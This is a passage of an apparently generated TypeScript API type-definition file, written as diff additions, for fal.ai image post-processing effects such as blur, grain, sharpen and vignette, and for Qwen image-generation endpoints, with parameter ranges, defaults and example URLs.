'kuwahara', +} as const + +export type InputFalAiPostProcessingBlurBlurTypeEnumKey = + (typeof inputFalAiPostProcessingBlurBlurTypeEnum)[keyof typeof inputFalAiPostProcessingBlurBlurTypeEnum] + +export type InputFalAiPostProcessingBlur = { + /** + * @description Type of blur to apply + * @default 'gaussian' + * @type string | undefined + */ + blur_type?: InputFalAiPostProcessingBlurBlurTypeEnumKey + /** + * @description Blur radius + * @minimum 0 + * @maximum 31 + * @default 3 + * @type integer | undefined + */ + blur_radius?: number + /** + * @description Sigma for Gaussian blur + * @minimum 0.1 + * @maximum 10 + * @default 1 + * @type number | undefined + */ + blur_sigma?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageEdf9B431 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingBlur = { + /** + * @description The processed images with blur effect + * @example [{"url":"https://v3.fal.media/files/panda/n0gz4pyZJ_qSY5uIjSq6U_24a8903e697f4e1b902825b729ce7d5d.png"}] + * @type array + */ + images: ImageEdf9B431[] +} + +export const inputFalAiPostProcessingChromaticAberrationGreenDirectionEnum = { + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPostProcessingChromaticAberrationGreenDirectionEnumKey = + (typeof inputFalAiPostProcessingChromaticAberrationGreenDirectionEnum)[keyof typeof inputFalAiPostProcessingChromaticAberrationGreenDirectionEnum] + +export const inputFalAiPostProcessingChromaticAberrationBlueDirectionEnum = { + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPostProcessingChromaticAberrationBlueDirectionEnumKey = + (typeof inputFalAiPostProcessingChromaticAberrationBlueDirectionEnum)[keyof typeof inputFalAiPostProcessingChromaticAberrationBlueDirectionEnum] + +export const inputFalAiPostProcessingChromaticAberrationRedDirectionEnum = { + horizontal: 'horizontal', + vertical: 'vertical', +} as const + +export type InputFalAiPostProcessingChromaticAberrationRedDirectionEnumKey = + (typeof inputFalAiPostProcessingChromaticAberrationRedDirectionEnum)[keyof typeof inputFalAiPostProcessingChromaticAberrationRedDirectionEnum] + +export type InputFalAiPostProcessingChromaticAberration = { + /** + * @description Green channel shift direction + * @default 'horizontal' + * @type string | undefined + */ + green_direction?: InputFalAiPostProcessingChromaticAberrationGreenDirectionEnumKey + /** + * @description Red channel shift amount + * @minimum -20 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + red_shift?: number + /** + * @description Green channel shift amount + * @minimum -20 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + green_shift?: number + /** + * @description Blue channel shift direction + * @default 'horizontal' + * @type string | undefined + */ + blue_direction?: InputFalAiPostProcessingChromaticAberrationBlueDirectionEnumKey + /** + * @description Red channel shift direction + * @default 'horizontal' + * @type string | undefined + */ + red_direction?: InputFalAiPostProcessingChromaticAberrationRedDirectionEnumKey + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Blue channel shift amount + * @minimum -20 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + blue_shift?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0052295A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingChromaticAberration = { + /** + * @description The processed images with chromatic aberration effect + * @example [{"url":"https://v3.fal.media/files/tiger/KZJQ66Ebe9FCMNA28hX-m_cebbce060fd34aeb99c8c5531b6b63bc.png"}] + * @type array + */ + images: Image0052295A[] +} + +export type InputFalAiPostProcessingColorCorrection = { + /** + * @description Saturation adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + saturation?: number + /** + * @description Brightness adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + brightness?: number + /** + * @description Contrast adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + contrast?: number + /** + * @description Gamma adjustment + * @minimum 0.2 + * @maximum 2.2 + * @default 1 + * @type number | undefined + */ + gamma?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Color temperature adjustment + * @minimum -100 + * @maximum 100 + * @default 0 + * @type number | undefined + */ + temperature?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image5De0Add6 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingColorCorrection = { + /** + * @description The processed images with color correction + * @example [{"url":"https://v3.fal.media/files/penguin/wUw8rsAidnBXhDW7NcXIA_e0ba138d401849de98614a5db21c178e.png"}] + * @type array + */ + images: Image5De0Add6[] +} + +export const inputFalAiPostProcessingColorTintTintModeEnum = { + sepia: 'sepia', + red: 'red', + green: 'green', + blue: 'blue', + cyan: 'cyan', + magenta: 'magenta', + yellow: 'yellow', + purple: 'purple', + orange: 'orange', + warm: 'warm', + cool: 'cool', + lime: 'lime', + navy: 'navy', + vintage: 'vintage', + rose: 'rose', + teal: 'teal', + maroon: 'maroon', + peach: 'peach', + lavender: 'lavender', + olive: 'olive', +} as const + +export type InputFalAiPostProcessingColorTintTintModeEnumKey = + (typeof inputFalAiPostProcessingColorTintTintModeEnum)[keyof typeof inputFalAiPostProcessingColorTintTintModeEnum] + +export type InputFalAiPostProcessingColorTint = { + /** + * @description Tint color mode + * @default 'sepia' + * @type string | undefined + */ + tint_mode?: InputFalAiPostProcessingColorTintTintModeEnumKey + /** + * @description Tint strength + * @minimum 0.1 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + tint_strength?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image05B331Bf = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingColorTint = { + /** + * @description The processed images with color tint effect + * @example [{"url":"https://v3.fal.media/files/monkey/7mRCFzvhnPPdicWELUUv2_be6131e02e434330bc05bb0a30974357.png"}] + * @type array + */ + images: Image05B331Bf[] +} + +export const inputFalAiPostProcessingDesaturateDesaturateMethodEnum = { + 'luminance (Rec.709)': 'luminance (Rec.709)', + 'luminance (Rec.601)': 'luminance (Rec.601)', + average: 'average', + lightness: 'lightness', +} as const + +export type InputFalAiPostProcessingDesaturateDesaturateMethodEnumKey = + (typeof inputFalAiPostProcessingDesaturateDesaturateMethodEnum)[keyof typeof inputFalAiPostProcessingDesaturateDesaturateMethodEnum] + +export type InputFalAiPostProcessingDesaturate = { + /** + * @description Desaturation factor + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + desaturate_factor?: number + /** + * @description Desaturation method + * @default 'luminance (Rec.709)' + * @type string | undefined + */ + desaturate_method?: InputFalAiPostProcessingDesaturateDesaturateMethodEnumKey + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image356A12Fa = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingDesaturate = { + /** + * @description The processed images with desaturation effect + * @example [{"url":"https://v3.fal.media/files/penguin/2ZdX11Gj6aQ6mVI2QVKfy_e5a51ffa7657422f85417146bba4df8e.png"}] + * @type array + */ + images: Image356A12Fa[] +} + +export type InputFalAiPostProcessingDissolve = { + /** + * @description URL of second image for dissolve + * @example https://v3.fal.media/files/monkey/NJW5irDVP1qwoTMdwOcDV_39qXtqYS0zSUrFwbrJkOY.jpeg + * @type string + */ + dissolve_image_url: string + /** + * @description URL of image to process + * @example https://v3.fal.media/files/elephant/pLQKJXcFdmIVvB2qhw7vv_59578fb9-8178-4f24-82f0-ea7ec5bc5f2d.jpg + * @type string + */ + image_url: string + /** + * @description Dissolve blend factor + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + dissolve_factor?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image14856C87 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingDissolve = { + /** + * @description The processed images with dissolve effect + * @example [{"url":"https://v3.fal.media/files/penguin/YQGJjCiEEEFswJnHr5vXU_0e83a7bac3f342e5ba55dd5ac4f073b7.png"}] + * @type array + */ + images: Image14856C87[] +} + +export const inputFalAiPostProcessingDodgeBurnDodgeBurnModeEnum = { + dodge: 'dodge', + burn: 'burn', + dodge_and_burn: 'dodge_and_burn', + burn_and_dodge: 'burn_and_dodge', + color_dodge: 'color_dodge', + color_burn: 'color_burn', + linear_dodge: 'linear_dodge', + linear_burn: 'linear_burn', +} as const + +export type InputFalAiPostProcessingDodgeBurnDodgeBurnModeEnumKey = + (typeof inputFalAiPostProcessingDodgeBurnDodgeBurnModeEnum)[keyof typeof inputFalAiPostProcessingDodgeBurnDodgeBurnModeEnum] + +export type InputFalAiPostProcessingDodgeBurn = { + /** + * @description Dodge and burn intensity + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + dodge_burn_intensity?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Dodge and burn mode + * @default 'dodge' + * @type string | undefined + */ + dodge_burn_mode?: InputFalAiPostProcessingDodgeBurnDodgeBurnModeEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image10C94393 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingDodgeBurn = { + /** + * @description The processed images with dodge and burn effect + * @example [{"url":"https://v3.fal.media/files/monkey/HSPzsHHD5VyVCuRc2bXCH_aa54abbada994934a4fed25c938db0c0.png"}] + * @type array + */ + images: Image10C94393[] +} + +export const inputFalAiPostProcessingGrainGrainStyleEnum = { + modern: 'modern', + analog: 'analog', + kodak: 'kodak', + fuji: 'fuji', + cinematic: 'cinematic', + newspaper: 'newspaper', +} as const + +export type InputFalAiPostProcessingGrainGrainStyleEnumKey = + (typeof inputFalAiPostProcessingGrainGrainStyleEnum)[keyof typeof inputFalAiPostProcessingGrainGrainStyleEnum] + +export type InputFalAiPostProcessingGrain = { + /** + * @description Style of film grain to apply + * @default 'modern' + * @type string | undefined + */ + grain_style?: InputFalAiPostProcessingGrainGrainStyleEnumKey + /** + * @description Film grain intensity + * @minimum 0 + * @maximum 1 + * @default 0.4 + * @type number | undefined + */ + grain_intensity?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Film grain scale + * @minimum 1 + * @maximum 100 + * @default 10 + * @type number | undefined + */ + grain_scale?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8B3E96Fd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingGrain = { + /** + * @description The processed images with grain effect + * @example [{"url":"https://v3.fal.media/files/penguin/28c9f5BYvlibrelN6d6cE_c0288c7ff93f4e0cb9117dc67837454f.png"}] + * @type array + */ + images: Image8B3E96Fd[] +} + +export type InputFalAiPostProcessingParabolize = { + /** + * @description Vertex Y position + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + vertex_y?: number + /** + * @description Parabolize coefficient + * @minimum -10 + * @maximum 10 + * @default 1 + * @type number | undefined + */ + parabolize_coeff?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Vertex X position + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + vertex_x?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image899F7A6F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingParabolize = { + /** + * @description The processed images with parabolize effect + * @example [{"url":"https://v3.fal.media/files/koala/S9GevoVb05aStq2nN-8zo_01136a15793b48e69e5c0ae0fb80f148.png"}] + * @type array + */ + images: Image899F7A6F[] +} + +export const inputFalAiPostProcessingSharpenSharpenModeEnum = { + basic: 'basic', + smart: 'smart', + cas: 'cas', +} as const + +export type InputFalAiPostProcessingSharpenSharpenModeEnumKey = + (typeof inputFalAiPostProcessingSharpenSharpenModeEnum)[keyof typeof inputFalAiPostProcessingSharpenSharpenModeEnum] + +export type InputFalAiPostProcessingSharpen = { + /** + * @description Edge preservation factor + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + preserve_edges?: number + /** + * @description Smart sharpen blend ratio + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + smart_sharpen_ratio?: number + /** + * @description Type of sharpening to apply + * @default 'basic' + * @type string | undefined + */ + sharpen_mode?: InputFalAiPostProcessingSharpenSharpenModeEnumKey + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string + /** + * @description Sharpen strength (for basic mode) + * @minimum 0.1 + * @maximum 5 + * @default 1 + * @type number | undefined + */ + sharpen_alpha?: number + /** + * @description Noise radius for smart sharpen + * @minimum 1 + * @maximum 25 + * @default 7 + * @type integer | undefined + */ + noise_radius?: number + /** + * @description CAS sharpening amount + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + cas_amount?: number + /** + * @description Smart sharpen strength + * @minimum 0 + * @maximum 25 + * @default 5 + * @type number | undefined + */ + smart_sharpen_strength?: number + /** + * @description Sharpen radius (for basic mode) + * @minimum 1 + * @maximum 15 + * @default 1 + * @type integer | undefined + */ + sharpen_radius?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4E837591 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingSharpen = { + /** + * @description The processed images with sharpen effect + * @example [{"url":"https://v3.fal.media/files/kangaroo/vULpeyThlkaCx_qOU9VH4_dab975f33d984062932804ac53af0c82.png"}] + * @type array + */ + images: Image4E837591[] +} + +export type InputFalAiPostProcessingSolarize = { + /** + * @description Solarize threshold + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + solarize_threshold?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageBe0Ec609 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingSolarize = { + /** + * @description The processed images with solarize effect + * @example [{"url":"https://v3.fal.media/files/penguin/placeholder.png"}] + * @type array + */ + images: ImageBe0Ec609[] +} + +export type InputFalAiPostProcessingVignette = { + /** + * @description Vignette strength + * @minimum 0 + * @maximum 10 + * @default 0.5 + * @type number | undefined + */ + vignette_strength?: number + /** + * @description URL of image to process + * @example https://storage.googleapis.com/falserverless/web-examples/post-process/postpro-input.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA4821Bd2 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiPostProcessingVignette = { + /** + * @description The processed images with vignette effect + * @example [{"url":"https://v3.fal.media/files/panda/x3zmDkHv7Wiohkev7vIEp_ded742da8499468f887659f582aa099c.png"}] + * @type array + */ + images: ImageA4821Bd2[] +} + +export type LoraWeight8A581Ec6 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeE2Deaeb4 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiQwenImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImageAccelerationEnumKey = + (typeof inputFalAiQwenImageAccelerationEnum)[keyof typeof inputFalAiQwenImageAccelerationEnum] + +export const inputFalAiQwenImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImageImageSizeKey = + (typeof inputFalAiQwenImageImageSize)[keyof typeof inputFalAiQwenImageImageSize] + +export const inputFalAiQwenImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiQwenImageOutputFormatEnumKey = + (typeof inputFalAiQwenImageOutputFormatEnum)[keyof typeof inputFalAiQwenImageOutputFormatEnum] + +export type InputFalAiQwenImage = { + /** + * @description The number of inference steps to perform. + * @minimum 2 + * @maximum 250 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use up to 3 LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight8A581Ec6[] + /** + * @description The negative prompt for the generation + * @default ' ' + * @example blurry, ugly + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable turbo mode for faster generation with high quality. When enabled, uses optimized settings (10 steps, CFG=1.2). + * @default false + * @example true + * @type boolean | undefined + */ + use_turbo?: boolean + /** + * @description The prompt to generate the image with + * @example Mount Fuji with cherry blossoms in the foreground, clear sky, peaceful spring day, soft natural light, realistic landscape. + * @type string + */ + prompt: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Acceleration level for image generation. Options: 'none', 'regular', 'high'. Higher acceleration increases speed. 'regular' balances speed and quality. 'high' is recommended for images without text. + * @default 'none' + * @example none + * @type string | undefined + */ + acceleration?: InputFalAiQwenImageAccelerationEnumKey + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSizeE2Deaeb4 | InputFalAiQwenImageImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImageOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageF7Ab6189 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiQwenImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"height":768,"width":1024,"url":"https://v3.fal.media/files/rabbit/KoIbq6nhDBDPxDQrivW-m.png","content_type":"image/jpeg"}] + * @type array + */ + images: ImageF7Ab6189[] +} + +export type ImageSize8010Ef20 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiQwenImage2512OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiQwenImage2512OutputFormatEnumKey = + (typeof inputFalAiQwenImage2512OutputFormatEnum)[keyof typeof inputFalAiQwenImage2512OutputFormatEnum] + +export const inputFalAiQwenImage2512AccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImage2512AccelerationEnumKey = + (typeof inputFalAiQwenImage2512AccelerationEnum)[keyof typeof inputFalAiQwenImage2512AccelerationEnum] + +export const inputFalAiQwenImage2512ImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImage2512ImageSizeKey = + (typeof inputFalAiQwenImage2512ImageSize)[keyof typeof inputFalAiQwenImage2512ImageSize] + +export type InputFalAiQwenImage2512 = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiQwenImage2512OutputFormatEnumKey + /** + * @description The negative prompt to generate an image from. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiQwenImage2512AccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize8010Ef20 | InputFalAiQwenImage2512ImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example Single red rose in a clear glass vase on white marble streaked with black and gold veins, harsh directional shadow, high contrast, editorial style, clean negative space. + * @type string + */ + prompt: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The guidance scale to use for the image generation. + * @minimum 0 + * @maximum 20 + * @default 4 + * @type number | undefined + */ + guidance_scale?: number +} + +export type Image03Edf58C = { + url: string + width: number + height: number + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiQwenImage2512 = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image files info. + * @example [{"height":768,"width":1024,"url":"https://v3b.fal.media/files/b/0a887d5a/r3LfL0WY1re7dT5Qb85U_.png","content_type":"image/png"}] + * @type array + */ + images: Image03Edf58C[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize4E306D64 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight31D04102 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiQwenImage2512LoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiQwenImage2512LoraOutputFormatEnumKey = + (typeof inputFalAiQwenImage2512LoraOutputFormatEnum)[keyof typeof inputFalAiQwenImage2512LoraOutputFormatEnum] + +export const inputFalAiQwenImage2512LoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiQwenImage2512LoraAccelerationEnumKey = + (typeof inputFalAiQwenImage2512LoraAccelerationEnum)[keyof typeof inputFalAiQwenImage2512LoraAccelerationEnum] + +export const inputFalAiQwenImage2512LoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiQwenImage2512LoraImageSizeKey = + (typeof inputFalAiQwenImage2512LoraImageSize)[keyof typeof inputFalAiQwenImage2512LoraImageSize] + +export type InputFalAiQwenImage2512Lora = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + 